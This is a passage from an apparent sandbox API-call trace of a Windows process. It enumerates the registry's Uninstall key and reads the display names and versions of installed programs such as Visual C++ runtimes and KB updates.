phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.108] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0xef, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.108] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.108] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x9, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MobileOptionPack", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.108] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack") returned 68 [0146.108] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.108] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0xef, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.108] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.108] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0xa, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MPlayer2", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.109] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2") returned 60 [0146.109] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.109] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0xef, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.109] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.109] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0xb, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="SchedulingAgent", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.109] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent") returned 67 [0146.109] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.109] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0xef, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.109] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.109] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0xc, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="WIC", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.109] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC") returned 55 [0146.109] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.109] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0xef, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.109] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.109] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0xd, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{0FA68574-690B-4B00-89AA-B28946231449}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.110] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{0FA68574-690B-4B00-89AA-B28946231449}") returned 90 [0146.110] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{0FA68574-690B-4B00-89AA-B28946231449}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.110] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508", lpcbData=0x19eb90*=0x3f) returned 0x0 [0146.110] GetLastError () returned 0x12 [0146.110] SetLastError (dwErrCode=0x12) [0146.110] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="14.25.28508", lpcbData=0x19eb90*=0xc) returned 0x0 [0146.110] GetLastError () returned 0x12 [0146.110] SetLastError (dwErrCode=0x12) [0146.110] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x3340048 [0146.110] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f40 | out: hHeap=0x2360000) returned 1 [0146.110] GetLastError () returned 0x12 [0146.111] SetLastError (dwErrCode=0x12) [0146.111] GetLastError () returned 0x12 [0146.111] SetLastError (dwErrCode=0x12) [0146.111] GetLastError () returned 0x12 [0146.111] SetLastError (dwErrCode=0x12) [0146.111] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.111] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0xe, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.111] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}") returned 90 [0146.111] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.111] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpcbData=0x19eb90*=0x3b) returned 0x0 [0146.111] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x3340f40 [0146.111] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0146.112] GetLastError () returned 0x12 [0146.112] SetLastError (dwErrCode=0x12) [0146.112] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="12.0.21005", lpcbData=0x19eb90*=0xb) returned 0x0 [0146.112] GetLastError () returned 0x12 [0146.112] SetLastError (dwErrCode=0x12) [0146.112] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xd8) returned 0x3340048 [0146.112] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f40 | out: hHeap=0x2360000) returned 1 [0146.112] GetLastError () returned 0x12 [0146.112] SetLastError (dwErrCode=0x12) [0146.112] GetLastError () returned 0x12 [0146.112] SetLastError (dwErrCode=0x12) [0146.112] GetLastError () returned 0x12 [0146.113] SetLastError (dwErrCode=0x12) [0146.113] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.113] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0xf, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.113] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757") returned 100 [0146.113] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.113] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.113] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.113] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x10, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.113] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173") returned 100 [0146.113] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.113] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.113] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.113] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x11, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.113] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860") returned 100 [0146.113] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.114] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.114] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.114] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x12, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.114] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655") returned 100 [0146.114] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.114] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.114] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.114] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x13, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.114] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743") returned 100 [0146.114] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.114] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.114] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.114] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x14, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.115] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063") returned 100 [0146.115] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.115] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.115] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.115] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x15, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.115] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573") returned 99 [0146.115] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.115] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.115] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.115] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x16, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.115] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}") returned 90 [0146.115] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.115] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508", lpcbData=0x19eb90*=0x3c) returned 0x0 [0146.116] GetLastError () returned 0x12 [0146.116] SetLastError (dwErrCode=0x12) [0146.116] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="14.25.28508", lpcbData=0x19eb90*=0xc) returned 0x0 [0146.116] GetLastError () returned 0x12 [0146.116] SetLastError (dwErrCode=0x12) [0146.116] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x144) returned 0x2366690 [0146.116] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0146.116] GetLastError () returned 0x12 [0146.116] SetLastError (dwErrCode=0x12) [0146.116] GetLastError () returned 0x12 [0146.116] SetLastError (dwErrCode=0x12) [0146.116] GetLastError () returned 0x12 [0146.117] SetLastError (dwErrCode=0x12) [0146.117] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.117] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x17, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.117] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 90 [0146.117] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.117] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpcbData=0x19eb90*=0x3d) returned 0x0 [0146.117] GetLastError () returned 0x12 [0146.117] SetLastError (dwErrCode=0x12) [0146.117] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="11.0.61030.0", lpcbData=0x19eb90*=0xd) returned 0x0 [0146.117] GetLastError () returned 0x12 [0146.117] SetLastError (dwErrCode=0x12) [0146.117] GetLastError () returned 0x12 [0146.118] SetLastError (dwErrCode=0x12) [0146.118] GetLastError () returned 0x12 [0146.118] SetLastError (dwErrCode=0x12) [0146.118] GetLastError () returned 0x12 [0146.118] SetLastError (dwErrCode=0x12) [0146.118] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.118] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x18, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.118] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 90 [0146.118] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.118] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501", lpcbData=0x19eb90*=0x3d) returned 0x0 [0146.118] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x1e6) returned 0x23669e8 [0146.119] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366690 | out: hHeap=0x2360000) returned 1 [0146.119] GetLastError () returned 0x12 [0146.119] SetLastError (dwErrCode=0x12) [0146.119] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="12.0.30501.0", lpcbData=0x19eb90*=0xd) returned 0x0 [0146.119] GetLastError () returned 0x12 [0146.119] SetLastError (dwErrCode=0x12) [0146.119] GetLastError () returned 0x12 [0146.119] SetLastError (dwErrCode=0x12) [0146.119] GetLastError () returned 0x12 [0146.119] SetLastError (dwErrCode=0x12) [0146.119] GetLastError () returned 0x12 [0146.119] SetLastError (dwErrCode=0x12) [0146.120] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.120] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x19, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{65e650ff-30be-469d-b63a-418d71ea1765}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.120] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{65e650ff-30be-469d-b63a-418d71ea1765}") returned 90 [0146.120] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{65e650ff-30be-469d-b63a-418d71ea1765}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.120] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508", lpcbData=0x19eb90*=0x43) returned 0x0 [0146.120] GetLastError () returned 0x12 [0146.120] SetLastError (dwErrCode=0x12) [0146.120] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="14.25.28508.3", lpcbData=0x19eb90*=0xe) returned 0x0 [0146.120] GetLastError () returned 0x12 [0146.120] SetLastError (dwErrCode=0x12) [0146.121] GetLastError () returned 0x12 [0146.121] SetLastError (dwErrCode=0x12) [0146.121] GetLastError () returned 0x12 [0146.121] SetLastError (dwErrCode=0x12) [0146.121] GetLastError () returned 0x12 [0146.121] SetLastError (dwErrCode=0x12) [0146.121] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.121] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x1a, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{6913e92a-b64e-41c9-a5e6-cef39207fe89}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.121] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}") returned 90 [0146.121] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.121] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508", lpcbData=0x19eb90*=0x43) returned 0x0 [0146.121] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2d9) returned 0x2366bd8 [0146.121] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23669e8 | out: hHeap=0x2360000) returned 1 